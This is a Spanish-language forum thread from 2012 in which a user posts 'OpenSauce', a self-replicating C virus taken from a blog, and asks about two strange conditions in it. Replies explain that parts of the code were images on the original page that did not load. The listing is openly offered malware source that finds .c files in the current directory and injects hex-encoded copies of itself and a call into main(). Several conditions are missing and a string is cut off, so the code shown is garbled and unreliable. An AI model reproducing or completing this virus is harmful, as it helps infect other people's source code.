elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [Duda existencial]¿Que pasa en este codigo?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Duda existencial]¿Que pasa en este codigo?  (Leído 2,358 veces)
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
[Duda existencial]¿Que pasa en este codigo?
« en: 10 Julio 2012, 02:17 am »

Bueno estaba desvelado leyendo un articulo cuando me encontre esto en mitad de un codigo. ¿Alguien me exolica que es?
Código
  1. <--------------------->
  2. <----opensauce.c------>
  3. <--------------------->
  4.  
  5. /*
  6.  * OpenSauce
  7.  *
  8.  * A trial to infect source code
  9.  *                   zert <zert@int80h.net>
  10.  *
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <sys/stat.h>
  16. #include <unistd.h>
  17. #include <fcntl.h>
  18. #include <time.h>
  19. #include <dirent.h>
  20. #include <elf.h>
  21. #include <sys/types.h>
  22. #include <sys/wait.h>
  23.  
  24. void virus();
  25.  
  26. int main(int argc, char *argv[]) {
  27.  virus();
  28. }
  29.  
  30. void virus() {
  31.  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  32.  DIR *dd;
  33.  struct dirent *dirp;
  34.  char nibble[2], nibblechar, *readbuffer, *writebuffer,
  35.       *readmain, *writemain, *bufname, *buffer;
  36.  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  37.  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  38.  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";
  39.  
  40.  /* scan for hosts in current dir */
  41.  dd = opendir(".");
  42.  while>0)//Aqui
  43.      if>=0) {//Y Aqui
  44.        /* is a C source file? */
  45.        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
  46.           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
  47.          /* searching infection mark... */
  48.          lseek(fd, -30, SEEK_END);
  49.          bufname = (char *)malloc(30);
  50.          readbyte = read(fd, bufname,30);
  51.          if {
  52.            /* infection mark not found */
  53.            /* searching main() function... */
  54.            lseek(fd, 0, SEEK_SET);
  55.            posmain = posbuffer = 0;
  56.            buffer = (char *)malloc(1024);
  57.            while>0) {
  58.              if( >0) ||
  59.                >0) ||
  60.                >0) ||
  61.                >0) ||
  62.                >0) ||
  63.                >0) ) {
  64.                break;
  65.              }
  66.              posmain += readbyte;
  67.            }
  68.            if(posbuffer>0) {
  69.              posmain += ((int)posbuffer-(int)buffer);
  70.              lseek(fd, posmain, SEEK_SET);
  71.              read(fd, buffer, 80);
  72.              if>0)
  73.                posmain += 2 + ((int)posbuffer-(int)buffer);
  74.              else
  75.                posmain = -1;
  76.            } else posmain = -1;
  77.            if(posmain>0) {
  78.              /* let's infect! */
  79.              lseek(fd, 0, SEEK_SET);
  80.              writebyte = strlen(charinclude) / 2;
  81.              readbuffer = (char *)malloc(writebyte);
  82.              writebuffer = (char *)malloc(writebyte);
  83.              writebuffer = (char *)malloc(writebyte);
  84.              for(i=0;i<strlen(charinclude);i+=2) {
  85.                nibble[0] = charinclude[i];
  86.                nibble[1] = charinclude[i+1];
  87.                sscanf(nibble, "%02X", &nibblechar);
  88.                strncat(writebuffer, &nibblechar, 1);
  89.              }
  90.              while>0) {
  91.                lseek(fd, -readbyte, SEEK_CUR);
  92.                write(fd, writebuffer, writebyte);
  93.                writebyte = read(fd, writebuffer, writebyte);
  94.                lseek(fd, -writebyte, SEEK_CUR);
  95.                write(fd, readbuffer, readbyte);
  96.              }
  97.              lseek(fd,-readbyte,SEEK_CUR);
  98.              write(fd,writebuffer,writebyte);
  99.              /* call virus from main() */
  100.              writebyte = strlen(charinclude) / 2;
  101.              lseek(fd, posmain+writebyte, SEEK_SET);
  102.              writebyte = strlen("\n  virus();\n");
  103.              readmain = (char *)malloc(writebyte);
  104.              writemain = (char *)malloc(writebyte);
  105.              strcpy(writemain,"\n  virus();\n");
  106.              while>0) {
  107.                lseek(fd,-readbyte,SEEK_CUR);
  108.                write(fd,writemain,writebyte);
  109.                writebyte=read(fd,writemain,writebyte);
  110.                lseek(fd,-writebyte,SEEK_CUR);
  111.                write(fd,readmain,readbyte);
  112.              }
  113.              lseek(fd,-readbyte,SEEK_CUR);
  114.              write(fd,writemain,writebyte);
  115.              /* copy virus function at EOF */
  116.              lseek(fd, 0, SEEK_END);
  117.              for(i=0;i<strlen(charvirus);i+=2) {
  118.                nibble[0] = charvirus[i];
  119.                nibble[1] = charvirus[i+1];
  120.                sscanf(nibble,"%02X",&nibblechar);
  121.                write(fd, &nibblechar, 1);
  122.              }
  123.              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
  124.              write(fd, charinclude, strlen(charinclude));
  125.              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
  126.              write(fd, charvirus, strlen(charvirus));
  127.              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
  128.              write(fd, charvirusend, strlen(charvirusend));
  129.              write(fd, "\";\n", strlen("\";\n"));
  130.              lseek(fd, 0, SEEK_END);
  131.              for(i=0;i<strlen(charvirusend);i+=2) {
  132.                nibble[0] = charvirusend[i];
  133.                nibble[1] = charvirusend[i+1];
  134.                sscanf(nibble,"%02X",&nibblechar);
  135.                write(fd, &nibblechar, 1);
  136.              }
  137.              /* that's all folks! */
  138.              /* just 1 infection each time */
  139.              exit(0);
  140.              close(fd);
  141.            }
  142.          }
  143.      }
  144.      close(fd);
  145.    }
  146.  closedir(dd);
  147.  /* sauce! */
  148. }
  149. <---------------------->
  150. <--end of-opensauce.c-->
  151. <---------------------->
  152.  

Donde pone aqui y aqui se usan dos condiciones muy raras.

Saludos.

PD: Lo saque de http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/


En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Ferno


Desconectado Desconectado

Mensajes: 375


Ver Perfil
Re: [Duda existencial]¿Que pasa en este codigo?
« Respuesta #1 en: 10 Julio 2012, 02:37 am »

Ese código no es así.
Si entrás a la página, te podés fijar que esa parte de la condición del while, del if, y de muchas otras estructuras de control se encuentran en una imágen que, por alguna razón, no pueden ser leídas.
Por eso no vas a poder ver el code completo.

EDIT: Por ejemplo, una de las imágenes que corresponden a esa parte de la condición tiene el siguiente link: http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,readmain,writebyte


En línea

avesudra


Desconectado Desconectado

Mensajes: 724


Intentando ser mejor cada día :)


Ver Perfil
Re: [Duda existencial]¿Que pasa en este codigo?
« Respuesta #2 en: 10 Julio 2012, 03:03 am »

Joder y yo buscando si era alguna optimización o algo xD , ¿como te has dado cuenta Ferno?
En línea

Regístrate en
Ferno


Desconectado Desconectado

Mensajes: 375


Ver Perfil
Re: [Duda existencial]¿Que pasa en este codigo?
« Respuesta #3 en: 10 Julio 2012, 03:24 am »

Porque entrando al link que se dejó en el primer post, justo en esas líneas de código que preguntaba qué era, me aparecía el ícono de imágen rota :P

Más específicamente, este:



Al inspeccionar el elemento, llegué al link que dejé en mi post, el cual especifica que no se pudo leer el archivo correspondiente.
En línea

avesudra


Desconectado Desconectado

Mensajes: 724


Intentando ser mejor cada día :)


Ver Perfil
Re: [Duda existencial]¿Que pasa en este codigo?
« Respuesta #4 en: 10 Julio 2012, 03:27 am »

Mmmmm que raro yo desde firefox no veo esa imagen, si se cual es , bah es igual , ahora tengo curiosidad por saber que habría en esas imagenes.
En línea

Regístrate en
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: [Duda existencial]¿Que pasa en este codigo?
« Respuesta #5 en: 10 Julio 2012, 13:47 pm »

Pues a mi me gustaria saber que habia en esas imagenes :huh:, ademas si leeis el articulo esta bastante interesante.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
que le pasa a este codigo?¿
Programación C/C++
linux1 6 2,913 Último mensaje 8 Agosto 2010, 01:01 am
por TuxZapata
Duda con este codigo
Programación Visual Basic
[Kayser] 2 1,633 Último mensaje 26 Enero 2012, 00:15 am
por raul338
Duda con este codigo...
Programación C/C++
RSA 5 2,232 Último mensaje 20 Septiembre 2012, 18:20 pm
por ecfisa
[Duda] que le pasa a este procesador?
Hardware
Whoolz 3 2,335 Último mensaje 17 Julio 2013, 02:58 am
por Whoolz
¿ Cómo funciona este código que pasa de char a int ?
Programación C/C++
snake_linux 2 3,806 Último mensaje 27 Agosto 2015, 10:23 am
por snake_linux
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines